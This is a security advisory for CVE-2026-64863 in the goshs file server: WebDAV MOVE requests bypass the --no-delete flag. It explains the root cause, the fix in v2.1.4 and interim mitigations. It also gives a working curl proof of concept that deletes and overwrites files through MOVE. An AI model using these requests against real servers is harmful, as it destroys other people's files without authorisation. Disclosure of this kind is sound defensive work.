critical · 9.1CVE-2026-64863Jul 28, 2026

CVE-2026-64863: goshs WebDAV MOVE Bypasses --no-delete

Rohit Hatagale
AI Security Researcher, SecureLayer7

When goshs is run with --no-delete, the WebDAV MOVE verb is never checked against that flag, so any WebDAV client can still delete or overwrite existing files by renaming them.

Packagegoshs.de/goshs/v2
Ecosystemgo
Affected<= 2.1.3
Fixed in2.1.4
CVE-2026-64863: goshs WebDAV MOVE Bypasses --no-delete

The problem

goshs added a wdGuard middleware in httpserver/server.go to enforce mode flags on the WebDAV port. That guard puts MOVE in the same case branch as PUT and MKCOL, gated only by fs.ReadOnly. It never checks fs.NoDelete.

MOVE in golang.org/x/net/webdav calls Rename, which removes the source file from its original path. With the Overwrite: T header it also calls RemoveAll on the destination before writing. Both are destructive operations. The --no-delete flag advertised as "Disable the delete option" has no effect on either of them.

Proof of concept

A working proof-of-concept for CVE-2026-64863 in goshs.de/goshs/v2, with the exact payload below.

bash
# Step 1: confirm DELETE is correctly blocked (200 word control)
curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt
# HTTP/1.1 403 Forbidden

# Step 2: MOVE deletes the source despite --no-delete
curl -s -i -X MOVE \
  -H 'Destination: http://127.0.0.1:18081/gone.txt' \
  http://127.0.0.1:18081/secret.txt
# HTTP/1.1 201 Created  -- secret.txt is now gone from disk

# Step 3: MOVE with Overwrite:T destroys an existing destination file
curl -s -i -X MOVE \
  -H 'Destination: http://127.0.0.1:18081/victim.txt' \
  -H 'Overwrite: T' \
  http://127.0.0.1:18081/gone.txt
# HTTP/1.1 204 No Content  -- victim.txt content overwritten via RemoveAll

The root cause is a misclassification in wdGuard. The original fix (GHSA-3whc-qvhv-xqjp) grouped MOVE with pure write verbs, never considering that rename semantics imply deletion of the source. The patch in v2.1.4 (commit 0444ac6) splits MOVE into its own case and adds fs.NoDelete to the guard condition, mirroring the check already applied to DELETE.

This is CWE-284 (Improper Access Control): the access-control check existed but covered the wrong HTTP methods.

The .goshs ACL layer in webdav_acl.go only handles authentication and block-lists, so it provides no safety net here.

The fix

Upgrade to goshs v2.1.4. The patch (commit 0444ac6) moves MOVE out of the write-only branch and into a dedicated branch that checks fs.ReadOnly || fs.UploadOnly || fs.NoDelete, matching the existing logic for DELETE. If an immediate upgrade is not possible, avoid using --no-delete together with --webdav, or restrict network access to the WebDAV port at the firewall level.

Reporter not attributed.

References: [1][2][3][4]

Related research